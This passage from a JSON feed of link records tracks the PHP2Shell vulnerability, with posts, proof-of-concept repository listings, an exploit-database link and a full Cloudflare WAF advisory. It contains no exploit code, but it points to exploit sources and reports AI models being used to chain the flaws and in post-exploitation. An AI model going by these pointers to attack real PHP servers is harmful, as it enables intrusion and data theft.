points, 1 comments on Hacker News","published_at":"2026-10-23T01:29:04+00:00","relation":"discussion","confidence":null,"note":null},{"id":539,"url":"https://news.ycombinator.com/item?id=50199203","title":"Why governments pulled websites offline over the decades-old PHP language","kind":"post","source":"hackernews","publisher":null,"text":"Why governments pulled websites offline over the decades-old PHP language\nhttps://www.cnbc.com/2026/10/22/php2shell-vulnerability-what-is-it-and-is-your-data-at-risk.html\n\n1 points, 0 comments on Hacker News","published_at":"2026-10-22T18:25:46+00:00","relation":"discussion","confidence":null,"note":null},{"id":544,"url":"https://news.ycombinator.com/item?id=50195017","title":"Re: Hours later – No, there is an easy way to exploit this vulnerability","kind":"post","source":"hackernews","publisher":null,"text":"Re: Hours later – No, there is an easy way to exploit this vulnerability\nhttps://github.com/cookiengineer/actual-php2shell\n\n4 points, 3 comments on Hacker News","published_at":"2026-10-22T13:27:02+00:00","relation":"discussion","confidence":null,"note":null},{"id":546,"url":"https://news.ycombinator.com/item?id=50194701","title":"PHP2Shell: Critical PHP Vulnerabilities, What to Do About Them","kind":"post","source":"hackernews","publisher":null,"text":"PHP2Shell: Critical PHP Vulnerabilities, What to Do About Them\nhttps://www.getastra.com/blog/security-advisory/php2shell-php-vulnerabilities/\n\n1 points, 0 comments on Hacker News","published_at":"2026-10-22T12:56:57+00:00","relation":"discussion","confidence":null,"note":null},{"id":553,"url":"https://news.ycombinator.com/item?id=50188558","title":"A tale of two PHP remote vulnerabilities","kind":"post","source":"hackernews","publisher":null,"text":"A tale of two PHP remote vulnerabilities\nhttps://calif.io/php2shell.x/\n\n1 points, 1 comments on Hacker News","published_at":"2026-10-21T22:28:39+00:00","relation":"discussion","confidence":null,"note":null},{"id":561,"url":"https://news.ycombinator.com/item?id=50183570","title":"Your Sites Are Protected Against the PHP2Shell Vulnerabilities","kind":"post","source":"hackernews","publisher":null,"text":"Your Sites Are Protected Against the PHP2Shell Vulnerabilities\nhttps://automattic.com/2026/10/21/your-sites-are-protected-against-the-php2shell-vulnerabilities/\n\n4 points, 0 comments on Hacker News","published_at":"2026-10-21T16:23:52+00:00","relation":"discussion","confidence":null,"note":null},{"id":562,"url":"https://news.ycombinator.com/item?id=50182037","title":"PHP2Shell: Critical PHP RCE Vulnerabilities Explained","kind":"post","source":"hackernews","publisher":null,"text":"PHP2Shell: Critical PHP RCE Vulnerabilities Explained\nhttps://moneo.com.tr/blog/php2shell-critical-php-rce-vulnerabilities-explained\n\n1 points, 0 comments on Hacker News","published_at":"2026-10-21T14:51:59+00:00","relation":"discussion","confidence":null,"note":null},{"id":564,"url":"https://news.ycombinator.com/item?id=50181326","title":"Cloudflare deploys protections against php2shell vulnerability","kind":"post","source":"hackernews","publisher":null,"text":"Cloudflare deploys protections against php2shell vulnerability\nhttps://blog.cloudflare.com/php-vulnerabilities-waf-protection/\n\n132 points, 24 comments on Hacker News","published_at":"2026-10-21T14:11:14+00:00","relation":"discussion","confidence":null,"note":null},{"id":567,"url":"https://news.ycombinator.com/item?id=50181037","title":"A tale of two PHP remote vulnerabilities","kind":"post","source":"hackernews","publisher":null,"text":"A tale of two PHP remote vulnerabilities\nhttps://calif.io/php2shell.x/\n\n2 points, 1 comments on Hacker News","published_at":"2026-10-21T13:56:05+00:00","relation":"discussion","confidence":null,"note":null},{"id":569,"url":"https://news.ycombinator.com/item?id=50180810","title":"Simple Proxy to secure your PHP from PHP2Shell vulnerability","kind":"post","source":"hackernews","publisher":null,"text":"Simple Proxy to secure your PHP from PHP2Shell vulnerability\nhttps://github.com/Qbix/proxy\n\n1 points, 0 comments on Hacker News","published_at":"2026-10-21T13:41:30+00:00","relation":"discussion","confidence":null,"note":null},{"id":571,"url":"https://news.ycombinator.com/item?id=50178312","title":"PHP2Shell: Critical Vulnerabilities in PHP","kind":"post","source":"hackernews","publisher":null,"text":"PHP2Shell: Critical Vulnerabilities in PHP\nhttps://www.aikido.dev/blog/critical-vulnerabilities-in-php-php2shell\n\n3 points, 0 comments on Hacker News","published_at":"2026-10-21T09:59:01+00:00","relation":"discussion","confidence":null,"note":null},{"id":574,"url":"https://news.ycombinator.com/item?id=50175425","title":"PHP2Shell","kind":"post","source":"hackernews","publisher":null,"text":"PHP2Shell\nhttps://www.huntress.com/blog/php2shell-leaked-critical-php-vulnerabilities\n\n1 points, 1 comments on Hacker News","published_at":"2026-10-21T02:42:03+00:00","relation":"discussion","confidence":null,"note":null},{"id":586,"url":"https://news.ycombinator.com/item?id=50204912","title":"PHP2Shell (CVE-2026-109618) Exploit","kind":"post","source":"hackernews","publisher":null,"text":"PHP2Shell (CVE-2026-109618) Exploit\nhttps://www.exploit-db.com/exploits/52704\n\n2 points, 0 comments on Hacker News","published_at":"2026-10-23T05:48:32+00:00","relation":"discussion","confidence":null,"note":null},{"id":587,"url":"https://news.ycombinator.com/item?id=50204453","title":"PHP2Shell Needs One HTTP Request. OpenNHP Never Lets It Arrive","kind":"post","source":"hackernews","publisher":null,"text":"PHP2Shell Needs One HTTP Request. OpenNHP Never Lets It Arrive\nhttps://opennhp.org/blog/php2shell-attackers-cannot-exploit-what-they-cannot-reach/\n\n1 points, 0 comments on Hacker News","published_at":"2026-10-23T04:16:39+00:00","relation":"discussion","confidence":null,"note":null},{"id":594,"url":"https://news.ycombinator.com/item?id=50199595","title":"Php2shell is not exploitable in real production enviroment","kind":"post","source":"hackernews","publisher":null,"text":"Php2shell is not exploitable in real production enviroment\nhttps://berardinellidaniele.com/posts/php2shell/\n\n3 points, 2 comments on Hacker News","published_at":"2026-10-22T19:00:38+00:00","relation":"discussion","confidence":null,"note":null},{"id":611,"url":"https://news.ycombinator.com/item?id=50195054","title":"Amazon says PHP2Shell exploitation began 4 days before patches","kind":"post","source":"hackernews","publisher":null,"text":"Amazon says PHP2Shell exploitation began 4 days before patches\nhttps://www.bleepingcomputer.com/news/security/amazon-says-php2shell-exploitation-began-4-days-before-patches/\n\n2 points, 0 comments on Hacker News","published_at":"2026-10-22T13:29:48+00:00","relation":"discussion","confidence":null,"note":null},{"id":615,"url":"https://news.ycombinator.com/item?id=50194070","title":"Amazon identifies Oct 17 PHP2Shell exploitation prior to public disclosure","kind":"post","source":"hackernews","publisher":null,"text":"Amazon identifies Oct 17 PHP2Shell exploitation prior to public disclosure\nhttps://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/\n\n267 points, 99 comments on Hacker News","published_at":"2026-10-22T11:50:36+00:00","relation":"discussion","confidence":null,"note":null},{"id":704,"url":"https://bsky.app/profile/doublepulsar.com/post/3myjwllyrt226","title":"@doublepulsar.com: PHP2Shell thread: cyberplace.social/@GossiTheDog...","kind":"post","source":"bluesky","publisher":null,"text":"PHP2Shell thread: cyberplace.social/@GossiTheDog...\nhttps://cyberplace.social/@GossiTheDog/117474220875882526\n\nlikes 20 reposts 2","published_at":"2026-10-23T10:06:43+00:00","relation":"discussion","confidence":null,"note":"@doublepulsar.com"},{"id":684,"url":"https://bsky.app/profile/campuscodi.risky.biz/post/3myjwkqr4bc2q","title":"@campuscodi.risky.biz: -Supply chain attack lets ransomware group inside 40+ shipping companies\n-Pentag","kind":"post","source":"bluesky","publisher":null,"text":"-Supply chain attack lets ransomware group inside 40+ shipping companies\n-Pentagon builds tech sabotage unit\n-PHP2Shell exploitation gets underway\n-GoDaddy revokes 400,000 certs\n-LiteLLM has another security incident\n\nP: risky.biz/RBNEWS624/\nN: news.risky.biz/risky-bullet...\nhttps://risky.biz/RBNEWS624/ https://news.risky.biz/risky-bulletin-supply-chain-attack-lets-ransomware-group-inside-40-shipping-companies/\n\nlikes 18 reposts 9","published_at":"2026-10-23T10:06:14+00:00","relation":"discussion","confidence":null,"note":"@campuscodi.risky.biz"},{"id":1493,"url":"https://securitylabs.datadoghq.com/articles/php2shell-critical-vulnerabilities-in-php/","title":"PHP2Shell: detection, analysis, remediation (Datadog Security Labs)","kind":"blog","source":"analyst","publisher":null,"text":null,"published_at":null,"relation":"mentions","confidence":null,"note":null},{"id":1496,"url":"https://access.redhat.com/security/vulnerabilities/RHSB-2026-013","title":"Red Hat RHSB-2026-013 php2shell","kind":"vendor","source":"analyst","publisher":null,"text":null,"published_at":null,"relation":"mentions","confidence":null,"note":null},{"id":2405,"url":"https://x.com/calif_io/status/2113578130543882697","title":"@calif_io: Just in case it wasn’t clear: we popped the iPhone Duo on release day, adding a ","kind":"post","source":"x","publisher":null,"text":"Just in case it wasn’t clear: we popped the iPhone Duo on release day, adding a much needed feature, inspired by the php2shell hacker @lcfr_hax!\n\nWhat else there to hack? Wrong answers only. https://t.co/ktYFhrH7lC\n\nlikes 757 reposts 61","published_at":"2026-10-23T10:27:49+00:00","relation":"discussion","confidence":null,"note":"@calif_io"},{"id":2411,"url":"https://x.com/calif_io/status/2112919199437770878","title":"@calif_io: Do you know who illustrated the comic on https://t.co/KEUVez9rnN?\n\nHer name is S","kind":"post","source":"x","publisher":null,"text":"Do you know who illustrated the comic on https://t.co/KEUVez9rnN?\n\nHer name is Stephanie Cortes. And her husband is the hacker who discovered php2shell: @lcfr_hax.\n\nThis artist-hacker couple has the best story, stay tuned!\n\nlikes 1164 reposts 140","published_at":"2026-10-21T14:49:27+00:00","relation":"discussion","confidence":null,"note":"@calif_io"},{"id":2412,"url":"https://x.com/calif_io/status/2112914613297668583","title":"@calif_io: Let’s set the record straight: @lcfr_hax was the first to discover php2shell and","kind":"post","source":"x","publisher":null,"text":"Let’s set the record straight: @lcfr_hax was the first to discover php2shell and develop a working exploit. See his August 5 tweet: https://t.co/mE27XnmJlM\n\nHis work convinced the PHP Foundation to invest in fixing this entire bug class. He then worked around the clock to review,\n\nlikes 3071 reposts 404","published_at":"2026-10-21T14:31:14+00:00","relation":"discussion","confidence":null,"note":"@calif_io"},{"id":2419,"url":"https://x.com/gdb/status/2112921529650688312","title":"@gdb: Over the past two months, we have been leading a coalition to mitigate one of th","kind":"post","source":"x","publisher":null,"text":"Over the past two months, we have been leading a coalition to mitigate one of the most severe bugs in open source software found in recent memory, php2shell, found as part of our Patch the Planet initiative. https://t.co/rBsz7lrlwo\n\nlikes 3611 reposts 332","published_at":"2026-10-21T14:58:43+00:00","relation":"discussion","confidence":null,"note":"@gdb"},{"id":2435,"url":"https://x.com/wiz_io/status/2112921894647156772","title":"@wiz_io: AI tools helped find one of the most severe online bugs ever #php2shell \n\nIn our","kind":"post","source":"x","publisher":null,"text":"AI tools helped find one of the most severe online bugs ever #php2shell \n\nIn our latest episode of Crying Out Cloud, Amitai Cohen sits down with @sagitz_ (Wiz Research) and Thai Duong (@calif_io) to unpack the massive PHP2Shell vulnerability\n\nhttps://t.co/n4pfiXjDNC\n\nlikes 53 reposts 15","published_at":"2026-10-21T15:00:10+00:00","relation":"discussion","confidence":null,"note":"@wiz_io"},{"id":2437,"url":"https://x.com/wiz_io/status/2112899825305780607","title":"@wiz_io: PHP2Shell marks an inflection point: AI changes the practical exploitability of ","kind":"post","source":"x","publisher":null,"text":"PHP2Shell marks an inflection point: AI changes the practical exploitability of longstanding vulnerabilities. Frontier models (Wiz Atlas, GPT-5.6-Sol, and Gemini 4 Argon) were used to hunt down and chain these 10-year-old flaws in under a week, with Gemini 4 making a particularly\n\nlikes 14 reposts 4","published_at":"2026-10-21T13:32:28+00:00","relation":"discussion","confidence":null,"note":"@wiz_io"},{"id":2441,"url":"https://x.com/wiz_io/status/2112899813264277528","title":"@wiz_io: 🚨 BREAKING: @Wiz_io Research uncovers #PHP2SHELL, a decade-old PHP Core vulnerab","kind":"post","source":"x","publisher":null,"text":"🚨 BREAKING: @Wiz_io Research uncovers #PHP2SHELL, a decade-old PHP Core vulnerability reaching CVSS 9.2 severity impacting 70% of the Internet. https://t.co/B7yEQuhnoS\n\nlikes 428 reposts 121","published_at":"2026-10-21T13:32:25+00:00","relation":"discussion","confidence":null,"note":"@wiz_io"},{"id":2444,"url":"https://x.com/xbow/status/2113327462629220580","title":"@xbow: PHP2Shell just showed us how quickly defenders need to act. What should they be ","kind":"post","source":"x","publisher":null,"text":"PHP2Shell just showed us how quickly defenders need to act. What should they be most worried about? 🫨\n\nlikes 5 reposts 0","published_at":"2026-10-22T17:51:45+00:00","relation":"discussion","confidence":null,"note":"@xbow"},{"id":2445,"url":"https://x.com/xbow/status/2113003403940929926","title":"@xbow: PHP2Shell: just another critical vulnerability but on a much faster clock...\n\nAI","kind":"post","source":"x","publisher":null,"text":"PHP2Shell: just another critical vulnerability but on a much faster clock...\n\nAI didn’t make PHP vulnerable. It changed the economics of finding and exploiting the bugs already there.\n\n@fede_k breaks down what happened and the shrinking window for defenders:\n\nlikes 44 reposts 6","published_at":"2026-10-21T20:24:03+00:00","relation":"discussion","confidence":null,"note":"@xbow"},{"id":2646,"url":"https://github.com/saaudsdk/php2shell-cve-2026-109618-109619-fix","title":"saaudsdk/php2shell-cve-2026-109618-109619-fix","kind":"poc","source":"github","publisher":null,"text":"\n\nstars 0","published_at":"2026-10-24T00:27:16+00:00","relation":"poc","confidence":null,"note":null},{"id":2704,"url":"https://github.com/vintage-alt/CVE-2026-109618-and-CVE-2026-109619-php2shell-burpproxy","title":"vintage-alt/CVE-2026-109618-and-CVE-2026-109619-php2shell-burpproxy","kind":"poc","source":"github","publisher":null,"text":"\n\nstars 0","published_at":"2026-10-24T06:50:02+00:00","relation":"poc","confidence":null,"note":null},{"id":2760,"url":"https://x.com/CISAgov/status/2113984287481716741","title":"@CISAgov: Update to #PHP2Shell Alert:  SIGMA rule helps identify potentially suspicious ac","kind":"post","source":"x","publisher":null,"text":"Update to #PHP2Shell Alert:  SIGMA rule helps identify potentially suspicious activity &amp; incorporated partner resources. If your org can't update immediately or uses unsupported PHP 8.1 or earlier versions, take affected PHP-based systems offline until patched or updated. https://t.co/r1GlMILxXU\n\nlikes 0 reposts 1","published_at":"2026-10-24T13:21:44+00:00","relation":"discussion","confidence":null,"note":"@CISAgov"},{"id":2834,"url":"https://x.com/CloudflareDev/status/2113004792880693280","title":"@CloudflareDev: ⚠️ Vulnerability alert: php2shell\n\nUnpatched sites running PHP 5.4 or later are ","kind":"post","source":"x","publisher":null,"text":"⚠️ Vulnerability alert: php2shell\n\nUnpatched sites running PHP 5.4 or later are at risk of remote code execution, data exposure, and crashes.\n\nIf your site’s web traffic is proxied through Cloudflare, we deployed protections before official public disclosure. Check the blog post https://t.co/3xLjlkUX8u\n\nlikes 4203 reposts 485","published_at":"2026-10-21T20:29:35+00:00","relation":"discussion","confidence":null,"note":"@CloudflareDev"},{"id":2847,"url":"https://blog.cloudflare.com/php-vulnerabilities-waf-protection/","title":"Cloudflare: Cloudflare deploys protections against php2shell vulnerability | Cloudflare Blog","kind":"advisory","source":"lab","publisher":null,"text":"Cloudflare deploys protections against php2shell vulnerability | Cloudflare Blog\n\nOctober 21, 2026\n\n# Cloudflare deploys protections against php2shell vulnerability\n\nDaniele Molteni\n\nDan Jones\n\n and \n\nKuber Nandwani\n\nUpdate - On October 23, the PHP project published an informational advisory for a related vulnerability, CVE-2026-115560, in PHP's session upload progress feature. It affects fully patched PHP releases, including 8.5.12, and will be fixed in PHP's next regular release.\n\nAll Cloudflare WAF customers are protected against known exploit attempts if their site uses PHP's default upload progress field name. Customers who have changed `session.upload_progress.name` are not covered by the WAF rule.\n\nThe existing rules \"PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) #6\" protects against this vulnerability.\n\nMore information to follow.\n\nOctober 21, Calif.io, Wiz, OpenAI and Quarkslab disclosed two vulnerabilities in PHP, tracked as CVE-2026-109618 and CVE-2026-109619 and known as php2shell. The vulnerabilities affect all web servers running PHP 5.4 or later and they may allow an attacker to cause denial of service, remote code execution, and data exposure when an application processes specially crafted HTTP traffic.\n\nCloudflare has been part of a coordinated effort to deploy mitigations to protect the Internet, working with PHP foundation, OpenAI and Wiz among others. Cloudflare has developed and deployed web application firewall (WAF) protections since early October 2026, which were deployed about 9 hours ahead of public disclosure. Starting on October 21 3:02 am UTC, Cloudflare customers using our free or paid WAF were protected by default against php2shell.\n\nCloudflare successfully deployed multiple mitigations for all its customers while the vulnerability was leaked before the official release date and we observed attack traffic targeting our customers. We observed how attackers were mutating the attack payload to try to bypass our protections by tracking the volume of matches and cross-referencing with the rule logic.\n\nProtecting against php2shell required more than standard request-based rules. Request data alone does not always provide enough evidence to distinguish an exploit from legitimate traffic. The origin’s response adds context, helping identify whether an exploit succeeded while reducing the risk of false positives.\n\nTo deliver this protection, we developed full transaction detection, a new Cloudflare WAF capability that combines signals from the request and response within the same HTTP transaction. Response rules can then block a matching origin response before it reaches the requester. The php2shell protections are the first managed detections we have released using this capability.\n\nCustomers should patch their PHP repos even with WAF protections providing an additional layer of defense-in-depth mitigation. Our security analysts continue monitoring attack activity and update the rules when and if new techniques and variations emerge in the hours and days ahead. You can track new rules in the changelog.\n\nThe protections are available and deployed automatically on all plans with WAF deployed, including Free users.\n\n## Copy link What we know about the vulnerabilities\n\nPHP is used by almost 70% of websites. The php2shell vulnerabilities affect the PHP runtime itself and can allow attackers to execute malicious code on vulnerable servers, expose customer data, or disrupt services. Because PHP underpins widely used platforms such as WordPress and Magento, these flaws could potentially affect a large number of applications across the Internet.\n\nThe two vulnerabilities involve how PHP handles memory when something goes wrong while processing a HTTP request. Normally, PHP allocates memory to store the data it needs to process a request, then releases it when that work finishes. If processing stops unexpectedly, for example because it runs out of memory, PHP fails to clean up the memory safely. These vulnerabilities arise when PHP handles an error and then tries to use data that was not fully set up or memory that has already been released.\n\nAn attacker can send specially crafted HTTP requests to trigger these conditions. Large requests are one way to put memory under pressure, but the problem goes beyond consuming server resources. By manipulating the data PHP encounters in this invalid memory, an attacker may be able to crash a PHP process, expose sensitive information, or execute code provided by the attacker.\n\nThe two vulnerabilities differ in when the unsafe memory access happens:\n\nVulnerability\n\nWhat goes wrong\n\nCVE-2026-109618\n\nPHP runs out of memory and interrupts its work before some internal data has been properly initialized. During cleanup of that request, PHP may use this unfinished data as though it were valid.\n\nCVE-2026-109619\n\nA fatal error interrupts a request, leaving PHP holding references to memory that is released when the request ends. When the same PHP process handles a later request, it may follow those outdated references and access memory that is no longer valid and expose sensitive data.\n\nThese flaws are in the PHP runtime, so updating website code or a plugin(s) alone does not fix these vulnerabilities. Administrators need to update the PHP software running their applications. If a hosting provider manages PHP, ask the provider to apply the security update.\n\nAdministrators can follow the PHP advisory for affected versions and remediation instructions. Keep Cloudflare WAF protections enabled while patching. Restricting unnecessary uploads and limiting upload sizes can also reduce exposure, but these measures do not replace the PHP fix.\n\n## Copy link New rules\n\nFor Free customers, new rules have been released under the Cloudflare Managed Free Ruleset (Ruleset ID 77454fe2d30c4220b5701f6fdfb893ba). Free customers don’t have to take any actions to enable the protection. To override the ruleset behavior, you can refer to our documentation.\n\n| Rule Description | Rule ID |\n| --- | --- |\n| PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) | 4e315666e8e344cdb64119a3b5ccf32f |\n| PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) #2 | 00c10e6cc4da4bd08722adeebcd95984 |\n| PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) #3 | 48ddf592361e4fdb97a8a85982dab691 |\n| PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) #4 | 3556683d512a47f2937899c524b1a4c6 |\n| PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) #5 | da07c85852e34625bb478496302ede46 |\n| PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) #6 | 19373a83abb840e18ab3ce5a7975ce1b |\n| PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) #7 | 07f0b6ddaabf40b1b2042dade8d613fa |\n\nProtection for paid plans has been released as part of the Cloudflare Managed Ruleset (Ruleset ID efb7b8c949ac4650a09736fc376e9aee). If you are on a Professional, Business, or Enterprise plan, review your Managed Ruleset deployment to confirm it has deployed block mode.\n\n| Rule Description | Rule ID |\n| --- | --- |\n| PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) | c1d409ad838f47f59446f21cc438d5dd |\n| PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) #2 | f9a45927414245e3a64bb12d0a0c2f64 |\n| PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) #3 | 771c654ae1154d4daa72f4e1545d163c |\n| PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) #4 | 217005865f0145f392300bac212afcc9 |\n| PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) #5 | 38efdb17ea594501bb55a1d71867b12e |\n| PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) #6 | 4148ae686fdb4d01be673fab9d9c073d |\n| PHP Remote Code Execution Attack (CVE-2026-109618, CVE-2026-109619) #7 | 1389aa259617437392ce149c48143645 |\n\nTo better identify exploit attempts, Cloudflare developed full transaction detection, a new WAF capability that analyzes both sides of the same HTTP transaction. While some malicious payloads can be identified using the request alone, the response contains useful signals that can be used to create rules with higher confidence, reducing false positives. A matching full transaction rule can block the origin response before it reaches the requester. Learn how it works in our full transaction detection blog post.\n\nThe new Cloudflare Managed Response Firewall Default has been automatically deployed for customers on all plans, including Free. To verify that the response rules are active, you can visit the Security > Security Rules page. Read the full transaction blog to learn how to customize its deployment.\n\nThe new Cloudflare Managed Response Firewall Default detection is protecting your traffic.\n\n## Copy link Review events and customize protection\n\nTo analyze blocked requests, visit Security > Security Analytics > Events. Filter by the rule IDs in the table above and inspect the matched request, action, and path. Events identify whether the action came from a managed or custom rule. Customers who need to tailor the protection can update the scope of the Managed Ruleset to the parts of an application where it is relevant.\n\n## Copy link Update PHP and keep the protection enabled\n\nCloudflare customers using our Managed Ruleset are protected by default. We recommend following the advisory recommendation and applying the vendor update to your PHP repos as soon as possible while keeping the WAF protection enabled as an additional protection. Our WAF analysts will continue to update protections as new techniques emerge.","published_at":"2026-10-21T13:56:45+00:00","relation":"advisory","confidence":null,"note":null},{"id":2900,"url":"https://github.com/devzyai/CVE-2026-109618-POC","title":"devzyai/CVE-2026-109618-POC","kind":"poc","source":"github","publisher":null,"text":"A PHP app that ships an unpatched PHP runtime (PHP2Shell), for the Devzy scan to flag. No exploit code.\n\nstars 0","published_at":"2026-10-24T18:44:44+00:00","relation":"poc","confidence":null,"note":null},{"id":2954,"url":"https://github.com/akamor2800/php-5.4-cve-2026-php2shell-patch","title":"akamor2800/php-5.4-cve-2026-php2shell-patch","kind":"poc","source":"github","publisher":null,"text":"Patch for old php 5.4.23 version from CVE-2026-109618 и CVE-2026-109619 vulnerabilities\n\nstars 0","published_at":"2026-10-24T19:32:31+00:00","relation":"poc","confidence":null,"note":null},{"id":3029,"url":"https://news.ycombinator.com/item?id=50226729","title":"An animated explainer of the PHP2SHell vulnerability [video]","kind":"post","source":"hackernews","publisher":null,"text":"An animated explainer of the PHP2SHell vulnerability [video]\nhttps://www.youtube.com/watch?v=6Kz4bWKoXhU\n\n1 points, 0 comments on Hacker News","published_at":"2026-10-24T23:55:08+00:00","relation":"discussion","confidence":null,"note":null},{"id":3021,"url":"https://news.ycombinator.com/item?id=50226578","title":"PHP2Shell exploitation observed: packet-to-process RCE evidence","kind":"post","source":"hackernews","publisher":null,"text":"PHP2Shell exploitation observed: packet-to-process RCE evidence\nhttps://github.com/0x4D31/honeypot-data/blob/main/reports/php2shell/2026-10-24-confirmed-rce.md\n\n1 points, 0 comments on Hacker News","published_at":"2026-10-24T23:33:25+00:00","relation":"discussion","confidence":null,"note":null},{"id":3023,"url":"https://github.com/mostofajr7-sudo/CVE-2026-109618-CVE-2026-109619-php2shell-","title":"mostofajr7-sudo/CVE-2026-109618-CVE-2026-109619-php2shell-","kind":"poc","source":"github","publisher":null,"text":"MOSTAFA JR7 - Custom security research framework targeting PHP 8.4.26 Apache Prefork RCE and ASLR bypass.\n\nstars 0","published_at":"2026-10-24T23:43:55+00:00","relation":"poc","confidence":null,"note":null},{"id":7501,"url":"https://x.com/cyb3rops/status/2115163095182213529","title":"@cyb3rops: Interesting finding from my colleagues for anyone following #PHP2SHELL activity\n","kind":"post","source":"x","publisher":null,"text":"Interesting finding from my colleagues for anyone following #PHP2SHELL activity\n\nThey found a Linux botnet sample that already has code targeting CVE-2026-109618 integrated into its existing exploit routines, alongside eight other CVEs https://t.co/LzPMiLuSRh\n\nlikes 107 reposts 20","published_at":"2026-10-27T19:25:54+00:00","relation":"discussion","confidence":null,"note":"@cyb3rops"},{"id":8728,"url":"https://x.com/gdb/status/2115270653452648605","title":"@gdb: learn about php2shell and the general emerging security landscape: https://t.co/","kind":"post","source":"x","publisher":null,"text":"learn about php2shell and the general emerging security landscape: https://t.co/xfOf2RXgzr\n\nlikes 281 reposts 24","published_at":"2026-10-28T02:33:18+00:00","relation":"discussion","confidence":null,"note":"@gdb"},{"id":8810,"url":"https://github.com/Pr0fEs0r-X/PHP2SHELL-Checker-v-2.0-CVE-2026-115560-","title":"Pr0fEs0r-X/PHP2SHELL-Checker-v-2.0-CVE-2026-115560-","kind":"poc","source":"github","publisher":null,"text":"Versión 2.0 — añade barrido de hosts remotos vía HTTP a la v1.0. Cuando se ejecuta sin argumentos muestra un menú interactivo.\n\nstars 1","published_at":"2026-10-28T03:06:25+00:00","relation":"poc","confidence":null,"note":null},{"id":10036,"url":"https://x.com/wiz_io/status/2115383034484519005","title":"@wiz_io: Wiz research has been monitoring PHP2Shell exploitation attempts, but none have ","kind":"post","source":"x","publisher":null,"text":"Wiz research has been monitoring PHP2Shell exploitation attempts, but none have succeeded so far. We examine the techniques used, what prevented the attacks from completing and how observed exposure has changed since disclosure. https://t.co/AAE1dSAksj\n\nlikes 23 reposts 5","published_at":"2026-10-28T09:59:51+00:00","relation":"discussion","confidence":null,"note":"@wiz_io"},{"id":8956,"url":"https://infosec.exchange/@wdormann/117516475398490631","title":"Will Dormann: Dream Group on php2shell exploitation of a firewall vendor's management interfac","kind":"post","source":"mastodon","publisher":null,"text":"Dream Group on php2shell exploitation of a firewall vendor's management interface : The affected devices run specific versions of a large vendor’s firewall software. For security purposes, we are not disclosing the vendor or the affected versions, and the vendor has been notified. Palo Alto : We are aware of heightened threat actor activity targeting internet exposed management interfaces of PAN-OS devices (NGFW and Panorama) and recently disclosed vulnerabilities. 🤔","published_at":"2026-10-28T03:45:09+00:00","relation":"discussion","confidence":null,"note":null},{"id":3418,"url":"https://github.com/GOLF2546/PHP2Shell-CVE-2026-109618-CVE-2026-109619","title":"GOLF2546/PHP2Shell-CVE-2026-109618-CVE-2026-109619","kind":"poc","source":"github","publisher":null,"text":"\n\nstars 0","published_at":"2026-10-25T03:51:20+00:00","relation":"poc","confidence":null,"note":null},{"id":9591,"url":"https://news.ycombinator.com/item?id=50270348","title":"Show HN: Self-diagnosis of vulnerabilities such as PHP2Shell via IP/Domain","kind":"post","source":"hackernews","publisher":null,"text":"Show HN: Self-diagnosis of vulnerabilities such as PHP2Shell via IP/Domain\nhttps://aipentest.jclab.kr/selfcheck\n\n1 points, 0 comments on Hacker News","published_at":"2026-10-28T07:44:09+00:00","relation":"discussion","confidence":null,"note":null},{"id":3475,"url":"https://github.com/delvin-45/php2shell-CVE-2026-109618-CVE-2026-109619-PoC-","title":"delvin-45/php2shell-CVE-2026-109618-CVE-2026-109619-PoC-","kind":"poc","source":"github","publisher":null,"text":"\n\nstars 0","published_at":"2026-10-25T11:18:45+00:00","relation":"poc","confidence":null,"note":null},{"id":3480,"url":"https://github.com/delvin-45/php2shell-CVE-2026-109618-CVE-2026-109619-PoC","title":"delvin-45/php2shell-CVE-2026-109618-CVE-2026-109619-PoC","kind":"poc","source":"github","publisher":null,"text":"\n\nstars 0","published_at":"2026-10-25T11:48:32+00:00","relation":"poc","confidence":null,"note":null},{"id":9150,"url":"https://github.com/lflare/php2shell-cve-2026-109618-109619","title":"lflare/php2shell-cve-2026-109618-109619","kind":"poc","source":"github","publisher":null,"text":"calibrated php2shell payloads for common docker images\n\nstars 0","published_at":"2026-10-28T04:53:38+00:00","relation":"poc","confidence":null,"note":null},{"id":8216,"url":"https://x.com/troyhunt/status/2115225601506214122","title":"@troyhunt: Weekly update is up! Cybergeddon News v. Reality: Have the PHP2Shell and eMudhra","kind":"post","source":"x","publisher":null,"text":"Weekly update is up! Cybergeddon News v. Reality: Have the PHP2Shell and eMudhra cases *actually* led to any breaches? https://t.co/6r65wuZmdd\n\nlikes 15 reposts 0","published_at":"2026-10-27T23:34:17+00:00","relation":"discussion","confidence":null,"note":"@troyhunt"},{"id":10604,"url":"https://x.com/TalosSecurity/status/2115429627086733661","title":"@TalosSecurity: From discussing PHP2Shell to putting David Bianco, Pyramid of Pain creator, to w","kind":"post","source":"x","publisher":null,"text":"From discussing PHP2Shell to putting David Bianco, Pyramid of Pain creator, to work helping Hazel hack a fictional smart toilet company, this week’s Beers with Talos is a wild ride from start to finish: https://t.co/IbqZap7nOE https://t.co/7Njxy5vuGH\n\nlikes 1 reposts 1","published_at":"2026-10-28T13:05:00+00:00","relation":"discussion","confidence":null,"note":"@TalosSecurity"},{"id":3551,"url":"https://x.com/TheHackersNews/status/2114407239578710111","title":"@TheHackersNews: 🚨 PHP2Shell attackers accessed MFA secrets and password hashes at a European gov","kind":"post","source":"x","publisher":null,"text":"🚨 PHP2Shell attackers accessed MFA secrets and password hashes at a European government entity in just 2 hours.\n\nThat's not all.\n\n→ Signs of agentic AI use in post-exploitation activity\n→ Suspected Lazarus-linked operators scanning 216 targets worldwide\n\nFull details ↓ https://t.co/TgFU8BO8xc\n\nlikes 15 reposts 